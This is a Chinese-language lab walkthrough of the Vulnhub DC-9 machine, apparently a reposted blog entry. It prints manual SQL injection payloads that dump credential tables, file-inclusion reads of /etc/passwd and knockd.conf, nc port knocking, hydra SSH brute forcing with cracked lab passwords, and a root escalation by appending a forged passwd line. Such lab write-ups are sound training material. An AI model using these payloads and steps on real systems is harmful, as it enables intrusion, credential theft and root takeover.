一、将靶机导入虚拟机
下载DC-9
链接:https://pan.quark.cn/s/8dad5aa79313
二、探测靶机IP(进行信息收集)
nmap -p- 192.168.253.0/24
三、进行目录枚举
dirb http://192.168.253.135/
四、进行SQL注入(不使用sqlmap)
判断字段数量
Mary' order by 5 -- +
发现到7就不行了,只有一到六
原理: 比如原本的 SQL 语句可能是 SELECT * FROM users WHERE username = 'Mary'
,当输入 Mary'
时,就会破坏这个语句的语法结构,使其变成类似 SELECT * FROM users WHERE username = 'Mary''
导致语法错误,从而为后续注入其他 SQL 语句创造条件
用联合查询语句
Mary' union select 1,2,3,4,5,6 -- + 在这里 union select 1,2,3,4,5,6
尝试将 select 1,2,3,4,5,6
的结果与前面被破坏的 SQL 语句的结果进行合并,以此来获取额外的信息
查数据库
Mary' union select 1,database(),3,4,5,6 -- +
Mary' union select1,group_concat(schema_name),3,4,5,6from information_schema.schemata -- +
information_schema.schemata
表记录了所有数据库的信息,包括数据库名称、默认字符集等。
可以看到有三个数据库information_schemaStaffusers
information_schema
是数据库系统自带的一个特殊数据库,它就像是一个数据库的 “目录”,存储着整个数据库服务器中所有数据库和表的元数据信息,本身不存储用户的实际业务数据。users
是用户创建的一个普通数据库,用于存储实际的业务数据information_schema
可以提供查找users
数据库中表名的途径
查表
information_schema数据库
Mary' union select1,group_concat(table_name),3,4,5,6from information_schema.tables -- +
group_concat(table_name)是一个聚合函数,用于将分组中的字符串连接成一个字符串。在这个语句中,group_concat(table_name)
会将 information_schema.tables
表中的所有 table_name
字段值连接成一个字符串,中间用逗号分隔
information_schema
是 MySQL 等数据库系统中的一个元数据数据库,它包含了关于数据库、表、列等数据库对象的信息。information_schema.tables
表存储了所有数据库中表的信息,通过查询这个表可以获取数据库中所有表的名称。
ALL_PLUGINS,APPLICABLE_ROLES,CHARACTER_SETS,CHECK_CONSTRAINTS,COLLATIONS,COLLATION_CHARACTER_SET_APPLICABILITY,COLUMNS,COLUMN_PRIVILEGES,ENABLED_ROLES,ENGINES,EVENTS,FILES,GLOBAL_STATUS,GLOBAL_VARIABLES,KEY_CACHES,KEY_COLUMN_USAGE,PARAMETERS,PARTITIONS,PLUGINS,PROCESSLIST,PROFILING,REFERENTIAL_CONSTRAINTS,ROUTINES,SCHEMATA,SCHEMA_PRIVILEGES,SESSION_STATUS,SESSION_VARIABLES,STATISTICS,SYSTEM_VARIABLES,TABLES,TABLESPACES,TABLE_CONSTRAINTS,TABLE_PRIVILEGES,TRIGGERS,USER_PRIVILEGES,VIEWS,GEOMETRY_COLUMNS,SPATIAL_REF_SYS,CLIENT_STATISTICS,INDEX_STATISTICS,INNODB_SYS_DATAFILES,USER_STATISTICS,INNODB_SYS_TABLESTATS,INNODB_LOCKS,INNODB_MUTEXES,INNODB_CMPMEM,INNODB_CMP_PER_INDEX,INNODB_CMP,INNODB_FT_DELETED,INNODB_CMP_RESET,INNODB_LOCK_WAITS,TABLE_STATISTICS,INNODB_TABLESPACES_ENCRYPTION,INNODB_BUFFER_PAGE_LRU,INNODB_SYS_FIELDS,INNODB_CMPMEM_RESET,INNODB_SYS_COLUMNS,INNODB_FT_INDEX_TABLE,INNODB_CMP_PER_INDEX_RESET,user_variables,INNODB_FT_INDEX_CACHE,INNODB_SYS_FOREIGN_COLS,INNODB_FT_BEING_DELETED,INNODB_BUFFER_POOL_STATS,INNODB_TRX,INNODB_SYS_FOREIGN,INNODB_SYS_TABLES,INNODB_FT_DEFAULT_STOPWORD,INNODB_FT_CONFIG,INNODB_BUFFER_PAGE,INNODB_SYS_TABLESPACES,INNODB_METRICS,INNODB_SYS_INDEXES,INNODB_SYS_VIRTUAL,INNODB_TABLESPACES_SCRUBBING,INNODB_SYS_SEMAPHORE_WAITS,StaffDetails,Users,UserDetails
条件筛选
information_schema数据库
Mary' union select1,group_concat(table_name),3,4,5,6from information_schema.tables where table_schema=database() -- +
where table_schema=database()
:table_schema
是 information_schema.tables
表中的一个字段,代表表所在的数据库名称;database()
是一个 SQL 函数,用于返回当前使用的数据库名称。此条件筛选出当前数据库中的所有表,使得查询结果仅包含当前数据库的表名。
user数据库
Mary' union select1,group_concat(table_name),3,4,5,6from information_schema.tables where table_schema= "users"-- +
此条件表明只从名为 "users"
的数据库中选取数据。也就是说,它会在 information_schema.tables
这个系统表中,找出那些 table_schema
字段值为 "users"
的记录,进而获取这个特定数据库下所有数据表的名称,可以得到UserDetails表
泄露指定表的列名信息
通用性
列gallarific_users表
通用性强,但由于条件筛选出了表明就可以直接针对Users表,这里可以试一试有什么有用的信息,但是没有有用的信息
Mary' union select1,group_concat(column_name),3,4,5,6from information_schema.columns where table_name='gallarific_users'-- +
where table_name='gallarific_users'
:这个条件用于筛选出 information_schema.columns
表中 table_name
为 gallarific_users
的记录,这样就能确保查询结果只包含 gallarific_users
表的列名。 通用性较强,适用于不清楚目标表所在数据库,只知道表名的情况。但如果数据库实例中存在多个同名表,可能会导致结果的不确定性。
针对性
已知Users表,StaffDetails表,以及user数据库里的UserDetails表
列information_schema数据库的Users表
根据5.条件筛选知道表名Users,这里是大写,根据这个就可以针对性获取列名信息
Mary' union select1,group_concat(column_name),3,4,5,6from information_schema.columns where table_schema=database() and table_name="Users"-- +
table_name="Users"
进一步限定了查询范围,只查找名为 Users
的表的列信息 高度依赖当前数据库上下文,database()
函数返回的是当前正在使用的数据库名称,所以它只会在当前数据库中查找目标表。针对性更强,在明确知道目标表位于当前数据库时使用,能准确获取所需表的列名信息。
列information_schema数据库的StaffDetails表
Mary' union select1,group_concat(column_name),3,4,5,6from information_schema.columns where table_schema=database() and table_name="StaffDetails"-- +
列user数据库里的UserDetails表
Mary' union select1,group_concat(column_name),3,4,5,6from information_schema.columns where table_schema="users"and table_name="UserDetails"-- +
information_schema.tables
是数据来源表,通过查询这个表,结合 where子句的筛选条件,从 information_schema.tables
中找出属于 users
数据库的表名信息。也就是说,information_schema
提供了查找 users
数据库中表名的途径。以此查找 "users"
数据库中 "UserDetails"
表的列信息。
查数据
获取 Users
表中 Username
和 Password
列的数据
Mary' union select1,group_concat(Username,0x7e,Password),3,4,5,6fromUsers-- +
group_concat(Username,0x7e,Password)
会将 Users
表中每一行的 Username
和 Password
字段值连接起来,中间用 0x7e
分隔。0x7e
是十六进制表示,对应的 ASCII 字符是波浪线 ~
,便于区分不同字段
直接得到用户名和加密后的密码,这时可以用kali自带的hash-identifier
admin~856f5de590ef37314e7c3bdf6f8a66dc
推荐这个网站解密:https://hashes.com/en/decrypt/hash 或者用这个https://www.somd5.com/
这两个都是免费的
解出来为transorbital1
admin transorbital1
获取 users
数据库中 UserDetails表中的username和password的数据
Mary' union select1,group_concat(username,0x7e,password),3,4,5,6from users.UserDetails -- +
|
|
---|---|
julied fredf barneyr tomc jerrym wilmaf bettyr chandlerb joeyt rachelg rossg monicag phoebeb scoots janitor janitor2 |
468sfdfsd2 4sfd87sfd1 RocksOff TC&TheBoyz B8m#48sd Pebbles BamBam01 UrAG0D! Passw0rd yN72#dsd ILoveRachel 3248dsds7s smellycats YR3BVxxxw87 Ilovepeepee Hawaii- |
对于搜集到这些用户名和密码要进行ssh爆破匹对,目前已知用户信息就是Users表中的 admin transorbital1,先去尝试,然后再将上面的进行匹对
五、端口保护之端口敲门
登录,可以看到下面有一个File does not exist,文件不存在
将http://192.168.253.136/welcome.php修改为 http://192.168.253.136/welcome.php?file=../../../../../etc/passwd
尝试利用路径遍历攻击 或 本地文件包含漏洞
尝试了很多,没什么思路了,想起之前还有一个22端口被禁用
经过查找知道有一个knockd 端口敲门的原理:
-
初始状态:防火墙默认封锁外部对内部服务端口的访问。 -
敲门阶段:合法用户按预定顺序和时间间隔向目标主机一系列端口发数据包,守护进程记录信息。 -
验证阶段:守护进程将记录信息与预设规则比对,匹配则触发防火墙临时开放指定服务端口。 -
访问阶段:用户在开放端口的时间内建立连接访问服务,过后端口关闭。 http://192.168.253.136/welcome.php?file=../../../../../etc/knockd.conf
端口敲门规则细节:获取到的疑似 knockd.conf
配置内容里,端口敲门规则中指定的端口号(7469, 8475, 9842 ),关闭端口则是(9842,8475,7469),以及时间限制(seq_timeout = 25
)等信息
而像平常我们也可以通过/proc/sched_debug来查看进程,看看有没有开启knockd http://192.168.253.136/welcome.php?file=../../../../../proc/sched_debug
然后我们就可以依次去敲门,端口敲门规则中指定的端口号 7469, 8475, 9842
nc 192.168.253.136 7469
nc 192.168.253.136 8475
nc 192.168.253.136 9842
nmap扫描端口发现端口打开了
nmap -sV -p- 192.168.253.136
尝试ssh登录时发现是错误的,admin的密码错误
发现这个密码并没有用,现在对上面那么多的密码和用户名进行匹对,进行ssh爆破
六、ssh爆破(hydra)
建立一个user.txt和password.txt文件,Hydra 会将 user.txt
中的每个用户名与 password.txt
中的每个密码进行组合尝试 使用kali自带的hydra工具
hydra -L user.txt -P password.txt 192.168.253.136 ssh -v
爆破
[22][ssh] host: 192.168.253.136 login: chandlerb password: UrAG0D!
[22][ssh] host: 192.168.253.136 login: joeyt password: Passw0rd
[22][ssh] host: 192.168.253.136 login: janitor password: Ilovepeepee
得到三个用户和密码,登录进去看看
发现只有janitor用户多了一个.secrets-for-putin文件,秘密啥玩意的,不管了,进去看看
cd .secrets-for-putin
ls
cat passwords-found-on-post-it-notes.txt
看到密码了,将里面的密码拿出来放进password.txt里面,继续爆破
|
---|
Passw0rd smellycats P0Lic#10-4 B4-Tru3-001 4uGU5T-NiGHts |
再次爆破
hydra -L user.txt -P password.txt 192.168.253.136 ssh -v
发现多了一个用户和密码
[22][ssh] host: 192.168.253.136 login: fredf password: B4-Tru3-001
七、提权
有了这么多用户和密码,首先想到sudo提权,但遗憾的是上面三个都不行,尝试那个新的用户
尝试fredf用户, 用户 fredf 可以在 dc - 9 上运行以下命令:(root)无需密码:/opt/devstuff/dist/test/test
User fredf may run the following commands on dc-9: (root)NOPASSWD: /opt/devstuff/dist/test/test
cdcd /opt/devstuff/dist/test
ls
cat test
cat进去发现一堆乱码和不可读字符,猜测是二进制文件,直接执行看看
./test
发现test是个python脚本
find / -name "test.py" -print 2>/dev/null
#!/usr/bin/python
# 指定使用Python解释器执行本脚本
import sys # 导入系统模块,用于访问命令行参数
此脚本功能:
1. 读取第一个参数指定的文件内容
2. 将读取的内容追加到第二个参数指定的文件末尾
3. 要求严格两个参数:读取文件路径 和 被追加文件路径
# 检查参数数量是否为3个(包含脚本自身名称)
if len(sys.argv) != 3 :
# 当参数数量不符时,打印使用说明
print ("Usage: python test.py read append")
sys.exit (1) # 非零退出码表示异常退出
else :
# 打开第一个文件(读取模式)
f = open(sys.argv[1], "r") # sys.argv[1] 是要读取的文件路径
output = (f.read()) # 读取文件的全部内容
# 打开第二个文件(追加模式)
f = open(sys.argv[2], "a") # sys.argv[2] 是要追加内容的文件路径
f.write(output) # 将第一个文件的内容追加到第二个文件末尾
f.close() # 关闭文件确保写入完成
知道了这个脚本的功能是可以将读取的内容追加到第二个参数指定的文件末尾,因此我们可以想到通过这个脚本来将一些只能读的文件而不能写的文件来实现内容的添加,通过test.py脚本强加入/etc/passwd文件,想到使用openssl来添加用户,直接给新用户添加到root组即可,可以看看Linux基础命令(一)文章最下面有写openssl
opeenssl生成一个密码,-1是加盐
openssl passwd -1 123
$1$Mxmh7MUn$sNn94LexNadI0KkobevNS1
root:x:0:0:root:/root:/bin/bash
root
是登录名;x
表示密码存于 /etc/shadow
,就是一个占位符;0
是 UID 与 GID,代表超级用户和 root
组;root
是描述;/root
是主目录;/bin/bash
是默认 shell 这样我们就可以将openssl生成的密码写入
yzy:$1$Mxmh7MUn$sNn94LexNadI0KkobevNS1:0:0:yzy:/root:/bin/bash
建立一个文件,注意要将文件路径写清楚
vi /tmp/user.txt
这个时候就可以使用脚本去追加用户了
sudo ./test /tmp/user.txt /etc/passwd
可以看到追加成功
su yzy
再输入密码,成功切换成root
原文始发于微信公众号(泷羽Sec-临观):打靶日记 Vulnhub靶机 DC-9(手工注入)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论